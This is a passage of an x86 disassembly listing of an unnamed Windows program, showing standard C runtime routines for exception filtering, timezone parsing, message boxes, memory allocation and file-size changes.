; sub_42464D+56j
lea edi, [ecx+3C01h]
mov [ebp+var_4], ebx
loc_4246BC: ; CODE XREF: sub_42464D+45j
; sub_42464D+4Cj
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
mov eax, [ebp+arg_0]
or ecx, [ebp+var_4]
shl edx, 0Bh
mov [eax+4], ecx
mov [eax], edx
loc_4246D4: ; CODE XREF: sub_42464D+A6j
test ecx, esi
jnz short loc_4246F5
mov edx, [eax]
add ecx, ecx
mov ebx, edx
shr ebx, 1Fh
or ebx, ecx
lea ecx, [edx+edx]
mov [eax], ecx
mov [eax+4], ebx
add edi, 0FFFFh
mov ecx, ebx
jmp short loc_4246D4
; ---------------------------------------------------------------------------
loc_4246F5: ; CODE XREF: sub_42464D+89j
mov ecx, [ebp+arg_4]
or ecx, edi
mov [eax+8], cx
loc_4246FE: ; CODE XREF: sub_42464D+64j
pop edi
pop esi
pop ebx
leave
retn
sub_42464D endp
; ---------------------------------------------------------------------------
push 2
call sub_41DA29
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_42470C proc near ; DATA XREF: ___:0043CF98o
; ___:0043D7F8o
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_42472F
cmp dword ptr [eax+10h], 3
jnz short loc_42472F
cmp dword ptr [eax+14h], 19930520h
jnz short loc_42472F
jmp sub_42255C
; ---------------------------------------------------------------------------
loc_42472F: ; CODE XREF: sub_42470C+Dj
; sub_42470C+13j ...
mov eax, dword_4DBB80
test eax, eax
jz short loc_42474C
push eax
call sub_4247A8
test eax, eax
pop ecx
jz short loc_42474C
push esi
call dword_4DBB80
jmp short loc_42474E
; ---------------------------------------------------------------------------
loc_42474C: ; CODE XREF: sub_42470C+2Aj
; sub_42470C+35j
xor eax, eax
loc_42474E: ; CODE XREF: sub_42470C+3Ej
pop esi
retn 4
sub_42470C endp
; ---------------------------------------------------------------------------
word_424752 dw 0C68h ; DATA XREF: ___:00429028o
; ---------------------------------------------------------------------------
inc edi
inc edx
add [eax+1DBDD4E8h], dl
add ah, byte ptr dword_4DBB80[ebx]
retn
; ---------------------------------------------------------------------------
byte_424763 db 0FFh ; DATA XREF: ___:00429040o
dd 4DBB8035h, 0C2E89000h, 0C3021DBDh
; =============== S U B R O U T I N E =======================================
sub_424770 proc near ; CODE XREF: sub_421DB1+6Bp
; sub_4222C2+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
nop
call near ptr 2600000h
test eax, eax
jz short loc_424788
xor esi, esi
loc_424788: ; CODE XREF: sub_424770+14j
mov eax, esi
pop esi
retn
sub_424770 endp
; =============== S U B R O U T I N E =======================================
sub_42478C proc near ; CODE XREF: sub_4222C2+73p
; sub_4222C2+BFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
nop
call near ptr 28A083Eh
test eax, eax
jz short loc_4247A4
xor esi, esi
loc_4247A4: ; CODE XREF: sub_42478C+14j
mov eax, esi
pop esi
retn
sub_42478C endp
; =============== S U B R O U T I N E =======================================
sub_4247A8 proc near ; CODE XREF: sub_4222C2+15Bp
; sub_42470C+2Dp
arg_0 = dword ptr 4
push esi
push 1
pop esi
push [esp+4+arg_0]
call near ptr 25F0C0Ah
nop
test eax, eax
jz short loc_4247BC
xor esi, esi
loc_4247BC: ; CODE XREF: sub_4247A8+10j
mov eax, esi
pop esi
retn
sub_4247A8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42255C
loc_4247C0: ; CODE XREF: sub_42255C:loc_4225ADj
push 0Ah
call sub_4235C9
push 16h
call sub_425955
pop ecx
pop ecx
push 3
call sub_41B7C2
; END OF FUNCTION CHUNK FOR sub_42255C
; =============== S U B R O U T I N E =======================================
sub_4247D7 proc near ; CODE XREF: sub_422669:loc_4226A8p
cmp dword_4DBC40, 0
jnz short locret_4247EB
call sub_4247EC
inc dword_4DBC40
locret_4247EB: ; CODE XREF: sub_4247D7+7j
retn
sub_4247D7 endp
; =============== S U B R O U T I N E =======================================
sub_4247EC proc near ; CODE XREF: sub_4247D7+9p
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
push edi
xor ebp, ebp
or ebx, 0FFFFFFFFh
push offset aTz ; "TZ"
xor edi, edi
mov dword_4DBB88, ebp
mov dword_43D430, ebx
mov dword_43D420, ebx
call sub_425AC7
mov esi, eax
pop ecx
cmp esi, ebp
jnz loc_424915
push offset dword_4DBB90
nop
call near ptr 2860000h
cmp eax, ebx
jz loc_424A44
mov eax, dword_4DBB90
mov ecx, dword_4DBBE4
imul eax, 3Ch
cmp word_4DBBD6, bp
push 1
pop edx
mov dword_43D388, eax
mov dword_4DBB88, edx
jz short loc_424863
mov esi, ecx
imul esi, 3Ch
add eax, esi
mov dword_43D388, eax
loc_424863: ; CODE XREF: sub_4247EC+69j
cmp word_4DBC2A, bp
jz short loc_424887
mov eax, dword_4DBC38
cmp eax, ebp
jz short loc_424887
sub eax, ecx
mov dword_43D38C, edx
imul eax, 3Ch
mov dword_43D390, eax
jmp short loc_424893
; ---------------------------------------------------------------------------
loc_424887: ; CODE XREF: sub_4247EC+7Ej
; sub_4247EC+87j
mov dword_43D38C, ebp
mov dword_43D390, ebp
loc_424893: ; CODE XREF: sub_4247EC+99j
lea eax, [esp+14h+var_4]
mov esi, dword_42717C
push eax
push ebp
push 3Fh
mov edi, 220h
push off_43D414
push ebx
push offset dword_4DBB94
push edi
push dword_4DBA24
call esi
test eax, eax
jz short loc_4248D0
cmp [esp+14h+var_4], ebp
jnz short loc_4248D0
mov eax, off_43D414
and byte ptr [eax+3Fh], 0
jmp short loc_4248D8
; ---------------------------------------------------------------------------
loc_4248D0: ; CODE XREF: sub_4247EC+D1j
; sub_4247EC+D7j
mov eax, off_43D414
and byte ptr [eax], 0
loc_4248D8: ; CODE XREF: sub_4247EC+E2j
lea eax, [esp+14h+var_4]
push eax
push ebp
push 3Fh
push off_43D418
push ebx
push offset dword_4DBBE8
push edi
push dword_4DBA24
call esi
test eax, eax
jz loc_424A3C
cmp [esp+14h+var_4], ebp
jnz loc_424A3C
mov eax, off_43D418
and byte ptr [eax+3Fh], 0
jmp loc_424A44
; ---------------------------------------------------------------------------
loc_424915: ; CODE XREF: sub_4247EC+2Dj
cmp byte ptr [esi], 0
jz loc_424A44
mov eax, dword_4DBC3C
cmp eax, ebp
jz short loc_424938
push eax
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_424A44
loc_424938: ; CODE XREF: sub_4247EC+139j
push dword_4DBC3C
call sub_41B0B1
push esi
call sub_41AFE0
inc eax
push eax
call sub_41B4D5
add esp, 0Ch
cmp eax, ebp
mov dword_4DBC3C, eax
jz loc_424A44
push esi
push eax
call sub_41BEB0
push 3
push esi
push off_43D414
call sub_41B5F0
mov eax, off_43D414
add esi, 3
add esp, 14h
and byte ptr [eax+3], 0
cmp byte ptr [esi], 2Dh
jnz short loc_42498D
push 1
inc esi
pop edi
loc_42498D: ; CODE XREF: sub_4247EC+19Bj
push esi
call sub_41B6EE
pop ecx
mov bl, 30h
mov ecx, eax
imul ecx, 0E10h
mov dword_43D388, ecx
loc_4249A4: ; CODE XREF: sub_4247EC+1C7j
mov al, [esi]
cmp al, 2Bh
jz short loc_4249B2
cmp al, bl
jl short loc_4249B5
cmp al, 39h
jg short loc_4249B5
loc_4249B2: ; CODE XREF: sub_4247EC+1BCj
inc esi
jmp short loc_4249A4
; ---------------------------------------------------------------------------
loc_4249B5: ; CODE XREF: sub_4247EC+1C0j
; sub_4247EC+1C4j
cmp byte ptr [esi], 3Ah
jnz short loc_424A08
inc esi
push esi
call sub_41B6EE
imul eax, 3Ch
pop ecx
mov ecx, dword_43D388
add ecx, eax
mov dword_43D388, ecx
loc_4249D3: ; CODE XREF: sub_4247EC+1F2j
mov al, [esi]
cmp al, bl
jl short loc_4249E0
cmp al, 39h
jg short loc_4249E0
inc esi
jmp short loc_4249D3
; ---------------------------------------------------------------------------
loc_4249E0: ; CODE XREF: sub_4247EC+1EBj
; sub_4247EC+1EFj
cmp byte ptr [esi], 3Ah
jnz short loc_424A08
inc esi
push esi
call sub_41B6EE
pop ecx
mov ecx, dword_43D388
add ecx, eax
mov dword_43D388, ecx
loc_4249FB: ; CODE XREF: sub_4247EC+21Aj
mov al, [esi]
cmp al, bl
jl short loc_424A08
cmp al, 39h
jg short loc_424A08
inc esi
jmp short loc_4249FB
; ---------------------------------------------------------------------------
loc_424A08: ; CODE XREF: sub_4247EC+1CCj
; sub_4247EC+1F7j ...
cmp edi, ebp
jz short loc_424A14
neg ecx
mov dword_43D388, ecx
loc_424A14: ; CODE XREF: sub_4247EC+21Ej
movsx eax, byte ptr [esi]
cmp eax, ebp
mov dword_43D38C, eax
jz short loc_424A3C
push 3
push esi
push off_43D418
call sub_41B5F0
mov eax, off_43D418
add esp, 0Ch
and byte ptr [eax+3], 0
jmp short loc_424A44
; ---------------------------------------------------------------------------
loc_424A3C: ; CODE XREF: sub_4247EC+10Bj
; sub_4247EC+115j ...
mov eax, off_43D418
and byte ptr [eax], 0
loc_424A44: ; CODE XREF: sub_4247EC+40j
; sub_4247EC+124j ...
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_4247EC endp
; =============== S U B R O U T I N E =======================================
sub_424A4A proc near ; CODE XREF: sub_422669+A5p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor edi, edi
cmp dword_43D38C, edi
jnz short loc_424A5E
loc_424A57: ; CODE XREF: sub_424A4A+148j
; sub_424A4A+150j ...
xor eax, eax
jmp loc_424BAA
; ---------------------------------------------------------------------------
loc_424A5E: ; CODE XREF: sub_424A4A+Bj
mov esi, [esp+0Ch+arg_0]
push 1
pop ebx
mov eax, [esi+14h]
cmp eax, dword_43D420
jnz short loc_424A7C
cmp eax, dword_43D430
jz loc_424B7E
loc_424A7C: ; CODE XREF: sub_424A4A+24j
cmp dword_4DBB88, edi
jz loc_424B54
movzx ecx, word_4DBC36
push ecx
cmp word_4DBC28, di
movzx ecx, word_4DBC34
push ecx
movzx ecx, word_4DBC32
push ecx
movzx ecx, word_4DBC30
push ecx
jnz short loc_424ACE
movzx ecx, word_4DBC2C
push edi
push ecx
movzx ecx, word_4DBC2E
push ecx
movzx ecx, word_4DBC2A
push ecx
push eax
push ebx
jmp short loc_424AE2
; ---------------------------------------------------------------------------
loc_424ACE: ; CODE XREF: sub_424A4A+65j
movzx ecx, word_4DBC2E
push ecx
push edi
movzx ecx, word_4DBC2A
push edi
push ecx
push eax
push edi
loc_424AE2: ; CODE XREF: sub_424A4A+82j
push ebx
call sub_424BF6
movzx eax, word_4DBBE2
add esp, 2Ch
cmp word_4DBBD4, di
push eax
movzx eax, word_4DBBE0
push eax
movzx eax, word_4DBBDE
push eax
movzx eax, word_4DBBDC
push eax
jnz short loc_424B3C
movzx eax, word_4DBBD8
push edi
push eax
movzx eax, word_4DBBDA
push eax
movzx eax, word_4DBBD6
push eax
push dword ptr [esi+14h]
push ebx
loc_424B31: ; CODE XREF: sub_424A4A+108j
push edi
call sub_424BF6
add esp, 2Ch
jmp short loc_424B7E
; ---------------------------------------------------------------------------
loc_424B3C: ; CODE XREF: sub_424A4A+C8j
movzx eax, word_4DBBDA
push eax
push edi
movzx eax, word_4DBBD6
push edi
push eax
push dword ptr [esi+14h]
push edi
jmp short loc_424B31
; ---------------------------------------------------------------------------
loc_424B54: ; CODE XREF: sub_424A4A+38j
push edi
push edi
push edi
push 2
push edi
push edi
push ebx
push 4
push eax
push ebx
push ebx
call sub_424BF6
push edi
push edi
push edi
push 2
push edi
push edi
push 5
push 0Ah
push dword ptr [esi+14h]
push ebx
push edi
call sub_424BF6
add esp, 58h
loc_424B7E: ; CODE XREF: sub_424A4A+2Cj
; sub_424A4A+F0j
mov edx, dword_43D424
mov eax, dword_43D434
mov ecx, [esi+1Ch]
cmp edx, eax
jge short loc_424BAE
cmp ecx, edx
jl loc_424A57
cmp ecx, eax
jg loc_424A57
cmp ecx, edx
jle short loc_424BC2
cmp ecx, eax
jge short loc_424BC2
loc_424BA8: ; CODE XREF: sub_424A4A+166j
; sub_424A4A+16Aj
mov eax, ebx
loc_424BAA: ; CODE XREF: sub_424A4A+Fj
; sub_424A4A+19Dj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424BAE: ; CODE XREF: sub_424A4A+144j
cmp ecx, eax
jl short loc_424BA8
cmp ecx, edx
jg short loc_424BA8
cmp ecx, eax
jle short loc_424BC2
cmp ecx, edx
jl loc_424A57
loc_424BC2: ; CODE XREF: sub_424A4A+158j
; sub_424A4A+15Cj ...
mov eax, [esi+8]
imul eax, 3Ch
add eax, [esi+4]
imul eax, 3Ch
add eax, [esi]
imul eax, 3E8h
cmp ecx, edx
jnz short loc_424BE9
xor ecx, ecx
cmp eax, dword_43D428
setnl cl
loc_424BE5: ; CODE XREF: sub_424A4A+1AAj
mov eax, ecx
jmp short loc_424BAA
; ---------------------------------------------------------------------------
loc_424BE9: ; CODE XREF: sub_424A4A+18Ej
xor ecx, ecx
cmp eax, dword_43D438
setl cl
jmp short loc_424BE5
sub_424A4A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424BF6 proc near ; CODE XREF: sub_424A4A+99p
; sub_424A4A+E8p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 1
push ebx
mov ebx, [ebp+arg_8]
push esi
jnz loc_424C91
mov eax, [ebp+arg_C]
mov [ebp+arg_8], ebx
and [ebp+arg_8], 3
mov esi, eax
jnz short loc_424C21
shl esi, 2
mov eax, dword_43D438[esi]
jmp short loc_424C2A
; ---------------------------------------------------------------------------
loc_424C21: ; CODE XREF: sub_424BF6+1Ej
shl esi, 2
mov eax, dword_43D46C[esi]
loc_424C2A: ; CODE XREF: sub_424BF6+29j
mov edx, ebx
lea ecx, [eax+1]
imul edx, 16Dh
lea eax, [ebx-1]
push edi
sar eax, 2
mov edi, ecx
push 7
add edi, eax
lea eax, [edx+edi-63DBh]
pop edi
cdq
idiv edi
mov eax, [ebp+arg_10]
pop edi
cmp edx, [ebp+arg_14]
jg short loc_424C64
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
lea ecx, [ecx+eax-7]
jmp short loc_424C6E
; ---------------------------------------------------------------------------
loc_424C64: ; CODE XREF: sub_424BF6+5Ej
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
add ecx, eax
loc_424C6E: ; CODE XREF: sub_424BF6+6Cj
cmp [ebp+arg_10], 5
jnz short loc_424CAC
cmp [ebp+arg_8], 0
jnz short loc_424C82
mov esi, dword_43D43C[esi]
jmp short loc_424C88
; ---------------------------------------------------------------------------
loc_424C82: ; CODE XREF: sub_424BF6+82j
mov esi, dword_43D470[esi]
loc_424C88: ; CODE XREF: sub_424BF6+8Aj
cmp ecx, esi
jle short loc_424CAC
sub ecx, 7
jmp short loc_424CAC
; ---------------------------------------------------------------------------
loc_424C91: ; CODE XREF: sub_424BF6+Cj
mov eax, [ebp+arg_C]
test bl, 3
jnz short loc_424CA2
mov ecx, dword_43D438[eax*4]
jmp short loc_424CA9
; ---------------------------------------------------------------------------
loc_424CA2: ; CODE XREF: sub_424BF6+A1j
mov ecx, dword_43D46C[eax*4]
loc_424CA9: ; CODE XREF: sub_424BF6+AAj
add ecx, [ebp+arg_18]
loc_424CAC: ; CODE XREF: sub_424BF6+7Cj
; sub_424BF6+94j ...
cmp [ebp+arg_0], 1
jnz short loc_424CDD
mov eax, [ebp+arg_1C]
mov dword_43D424, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
mov dword_43D420, ebx
imul eax, 3Ch
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_43D428, eax
jmp short loc_424D32
; ---------------------------------------------------------------------------
loc_424CDD: ; CODE XREF: sub_424BF6+BAj
mov eax, [ebp+arg_1C]
mov dword_43D434, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
imul eax, 3Ch
add eax, dword_43D390
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_43D438, eax
jns short loc_424D15
add eax, 5265C00h
dec ecx
mov dword_43D438, eax
jmp short loc_424D26
; ---------------------------------------------------------------------------
loc_424D15: ; CODE XREF: sub_424BF6+110j
mov edx, 5265C00h
cmp eax, edx
jl short loc_424D2C
sub eax, edx
inc ecx
mov dword_43D438, eax
loc_424D26: ; CODE XREF: sub_424BF6+11Dj
mov dword_43D434, ecx
loc_424D2C: ; CODE XREF: sub_424BF6+126j
mov dword_43D430, ebx
loc_424D32: ; CODE XREF: sub_424BF6+E5j
pop esi
pop ebx
pop ebp
retn
sub_424BF6 endp
; =============== S U B R O U T I N E =======================================
sub_424D36 proc near ; CODE XREF: ___:00422E9Dp
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_424D47
add esp, 0Ch
retn
sub_424D36 endp
; =============== S U B R O U T I N E =======================================
sub_424D47 proc near ; CODE XREF: sub_424D36+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test byte_4DCEC1[eax], cl
jnz short loc_424D74
cmp [esp+arg_4], 0
jz short loc_424D6D
movzx eax, word_43C9E2[eax*2]
and eax, [esp+arg_4]
jmp short loc_424D6F
; ---------------------------------------------------------------------------
loc_424D6D: ; CODE XREF: sub_424D47+16j
xor eax, eax
loc_424D6F: ; CODE XREF: sub_424D47+24j
test eax, eax
jnz short loc_424D74
retn
; ---------------------------------------------------------------------------
loc_424D74: ; CODE XREF: sub_424D47+Fj
; sub_424D47+2Aj
push 1
pop eax
retn
sub_424D47 endp
; =============== S U B R O U T I N E =======================================
sub_424D78 proc near ; CODE XREF: sub_4235C9+11Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
xor ebx, ebx
cmp dword_4DBC44, ebx
push esi
push edi
jnz short loc_424DC7
push offset aUser32_dll ; "user32.dll"
call near ptr 26A0B0Dh
nop
mov edi, eax
cmp edi, ebx
jz short loc_424DFD
mov esi, dword_4270BC
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi
test eax, eax
mov dword_4DBC44, eax
jz short loc_424DFD
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov dword_4DBC48, eax
call esi
mov dword_4DBC4C, eax
loc_424DC7: ; CODE XREF: sub_424D78+Bj
mov eax, dword_4DBC48
test eax, eax
jz short loc_424DE6
call eax
mov ebx, eax
test ebx, ebx
jz short loc_424DE6
mov eax, dword_4DBC4C
test eax, eax
jz short loc_424DE6
push ebx
call eax
mov ebx, eax
loc_424DE6: ; CODE XREF: sub_424D78+56j
; sub_424D78+5Ej ...
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
push ebx
call dword_4DBC44
loc_424DF9: ; CODE XREF: sub_424D78+87j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424DFD: ; CODE XREF: sub_424D78+1Cj
; sub_424D78+33j
xor eax, eax
jmp short loc_424DF9
sub_424D78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424E01 proc near ; CODE XREF: sub_423936+22p
; sub_423936+3Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
imul esi, [ebp+arg_4]
cmp esi, 0FFFFFFE0h
push edi
mov [ebp+arg_0], esi
ja short loc_424E22
test esi, esi
jnz short loc_424E1C
push 1
pop esi
loc_424E1C: ; CODE XREF: sub_424E01+16j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_424E22: ; CODE XREF: sub_424E01+12j
; sub_424E01+94j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_424E81
mov eax, dword_4DCFE8
cmp eax, 3
jnz short loc_424E4D
mov eax, [ebp+arg_0]
cmp eax, dword_4DCFE0
ja short loc_424E6C
push eax
call sub_41E1CB
mov edi, eax
pop ecx
test edi, edi
jnz short loc_424E97
jmp short loc_424E6C
; ---------------------------------------------------------------------------
loc_424E4D: ; CODE XREF: sub_424E01+30j
cmp eax, 2
jnz short loc_424E6C
cmp esi, dword_43C9D4
ja short loc_424E6C
mov eax, esi
shr eax, 4
push eax
call sub_41EC6E
mov edi, eax
pop ecx
test edi, edi
jnz short loc_424EAB
loc_424E6C: ; CODE XREF: sub_424E01+3Bj
; sub_424E01+4Aj ...
push esi
push 8
push dword_4DCFE4
call near ptr 27A0000h
nop
mov edi, eax
test edi, edi
jnz short loc_424EA5
loc_424E81: ; CODE XREF: sub_424E01+26j
cmp dword_4DB9DC, 0
jz short loc_424EA5
push esi
call sub_41F312
test eax, eax
pop ecx
jz short loc_424EAE
jmp short loc_424E22
; ---------------------------------------------------------------------------
loc_424E97: ; CODE XREF: sub_424E01+48j
push [ebp+arg_0]
loc_424E9A: ; CODE XREF: sub_424E01+ABj
push 0
push edi
call sub_41B590
add esp, 0Ch
loc_424EA5: ; CODE XREF: sub_424E01+7Ej
; sub_424E01+87j
mov eax, edi
loc_424EA7: ; CODE XREF: sub_424E01+AFj
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_424EAB: ; CODE XREF: sub_424E01+69j
push esi
jmp short loc_424E9A
; ---------------------------------------------------------------------------
loc_424EAE: ; CODE XREF: sub_424E01+92j
xor eax, eax
jmp short loc_424EA7
sub_424E01 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4239DB
loc_424EB2: ; CODE XREF: sub_4239DB+Ej
push esi
push edi
push 3
xor edi, edi
pop esi
cmp dword_4DCC80, esi
jle short loc_424F05
loc_424EC1: ; CODE XREF: sub_4239DB+1528j
mov eax, dword_4DBC78
mov eax, [eax+esi*4]
test eax, eax
jz short loc_424EFC
test byte ptr [eax+0Ch], 83h
jz short loc_424EE0
push eax
call sub_41B05B
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_424EE0
inc edi
loc_424EE0: ; CODE XREF: sub_4239DB+14F6j
; sub_4239DB+1502j
cmp esi, 14h
jl short loc_424EFC
mov eax, dword_4DBC78
push dword ptr [eax+esi*4]
call sub_41B0B1
mov eax, dword_4DBC78
pop ecx
and dword ptr [eax+esi*4], 0
loc_424EFC: ; CODE XREF: sub_4239DB+14F0j
; sub_4239DB+1508j
inc esi
cmp esi, dword_4DCC80
jl short loc_424EC1
loc_424F05: ; CODE XREF: sub_4239DB+14E4j
mov eax, edi
pop edi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_4239DB
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424F0A proc near ; CODE XREF: sub_423A33+271p
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41BB20
push ebx
mov ebx, [ebp+arg_0]
push esi
xor esi, esi
cmp ebx, dword_4DCDA0
jnb loc_42503F
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DCCA0[eax*4]
test byte ptr [eax+ecx*8+4], 1
jz loc_42503F
push 1
push esi
push ebx
call sub_42272B
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_425049
push 2
push esi
push ebx
call sub_42272B
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_425049
push edi
mov edi, [ebp+arg_4]
sub edi, eax
test edi, edi
jle short loc_424FEC
push 1000h
lea eax, [ebp+var_1000]
push esi
push eax
call sub_41B590
push 8000h
push ebx
call sub_425B44
add esp, 14h
mov [ebp+arg_4], eax
loc_424FA0: ; CODE XREF: sub_424F0A+BDj
mov eax, 1000h
cmp edi, eax
jge short loc_424FAB
mov eax, edi
loc_424FAB: ; CODE XREF: sub_424F0A+9Dj
push eax
lea eax, [ebp+var_1000]
push eax
push ebx
call sub_42291D
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_424FC9
sub edi, eax
test edi, edi
jle short loc_424FDF
jmp short loc_424FA0
; ---------------------------------------------------------------------------
loc_424FC9: ; CODE XREF: sub_424F0A+B5j
cmp dword_4DB95C, 5
jnz short loc_424FDC
mov dword_4DB958, 0Dh
loc_424FDC: ; CODE XREF: sub_424F0A+C6j
or esi, 0FFFFFFFFh
loc_424FDF: ; CODE XREF: sub_424F0A+BBj
push [ebp+arg_4]
push ebx
call sub_425B44
pop ecx
pop ecx
jmp short loc_42502C
; ---------------------------------------------------------------------------
loc_424FEC: ; CODE XREF: sub_424F0A+71j
jge short loc_42502C
push 0
push [ebp+arg_4]
push ebx
call sub_42272B
push ebx
call sub_4238A2
add esp, 10h
push eax
nop
call near ptr 25F0000h
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, 0FFFFFFFFh
jnz short loc_42502C
mov dword_4DB958, 0Dh
call near ptr 2680ABEh
nop
mov dword_4DB95C, eax
loc_42502C: ; CODE XREF: sub_424F0A+E0j
; sub_424F0A:loc_424FECj ...
push 0
push [ebp+arg_0]
push ebx
call sub_42272B
add esp, 0Ch
mov eax, esi
pop edi
jmp short loc_42504C
; ---------------------------------------------------------------------------
loc_42503F: ; CODE XREF: sub_424F0A+1Aj
; sub_424F0A+36j
mov dword_4DB958, 9
loc_425049: ; CODE XREF: sub_424F0A+4Ej
; sub_424F0A+63j
or eax, 0FFFFFFFFh
loc_42504C: ; CODE XREF: sub_424F0A+133j
pop esi
pop ebx
leave
retn
sub_424F0A endp
; =============== S U B R O U T I N E =======================================
sub_425050 proc near ; CODE XREF: sub_4241CF+2Bp
; sub_4241CF+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
lea ecx, [edx+esi]
cmp ecx, edx
jb short loc_425066
cmp ecx, esi
jnb short loc_425069
loc_425066: ; CODE XREF: sub_425050+10j
push 1
pop eax
loc_425069: ; CODE XREF: sub_425050+14j
mov edx, [esp+4+arg_8]
pop esi
mov [edx], ecx
retn
sub_425050 endp
; =============== S U B R O U T I N E =======================================
sub_425071 proc near ; CODE XREF: sub_42512A+40p
; sub_42512A+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push esi
push dword ptr [edi]
push dword ptr [esi]
call sub_425050
add esp, 0Ch
test eax, eax
jz short loc_4250A3
lea eax, [esi+4]
push eax
push 1
push dword ptr [eax]
call sub_425050
add esp, 0Ch
test eax, eax
jz short loc_4250A3
inc dword ptr [esi+8]
loc_4250A3: ; CODE XREF: sub_425071+19j
; sub_425071+2Dj
lea eax, [esi+4]
push eax
push dword ptr [edi+4]
push dword ptr [eax]
call sub_425050
add esp, 0Ch
test eax, eax
jz short loc_4250BB
inc dword ptr [esi+8]
loc_4250BB: ; CODE XREF: sub_425071+45j
lea eax, [esi+8]
push eax
push dword ptr [edi+8]
push dword ptr [eax]
call sub_425050
add esp, 0Ch
pop edi
pop esi
retn
sub_425071 endp
; =============== S U B R O U T I N E =======================================
sub_4250CF proc near ; CODE XREF: sub_42512A+30p
; sub_42512A+36p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov esi, [eax]
mov edi, [eax+4]
mov ecx, esi
add esi, esi
mov [eax], esi
lea esi, [edi+edi]
shr ecx, 1Fh
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
mov [eax+4], esi
shr edx, 1Fh
shl ecx, 1
or ecx, edx
pop edi
mov [eax+8], ecx
pop esi
retn
sub_4250CF endp
; =============== S U B R O U T I N E =======================================
sub_4250FD proc near ; CODE XREF: sub_4256C2+1C8p
; sub_425BBA+17Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov edx, [eax+8]
mov ecx, [eax+4]
mov esi, edx
mov edi, ecx
shl esi, 1Fh
shr ecx, 1
or ecx, esi
mov [eax+4], ecx
mov ecx, [eax]
shl edi, 1Fh
shr ecx, 1
shr edx, 1
or ecx, edi
pop edi
mov [eax+8], edx
mov [eax], ecx
pop esi
retn
sub_4250FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42512A proc near ; CODE XREF: sub_4251F1+3CAp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_8]
xor edx, edx
cmp eax, edx
push esi
mov [ebp+var_4], 404Eh
mov [ebx], edx
mov [ebx+4], edx
mov [ebx+8], edx
jbe short loc_42519E
push edi
mov [ebp+arg_8], eax
loc_425151: ; CODE XREF: sub_42512A+6Fj
mov esi, ebx
lea edi, [ebp+var_10]
movsd
movsd
push ebx
movsd
call sub_4250CF
push ebx
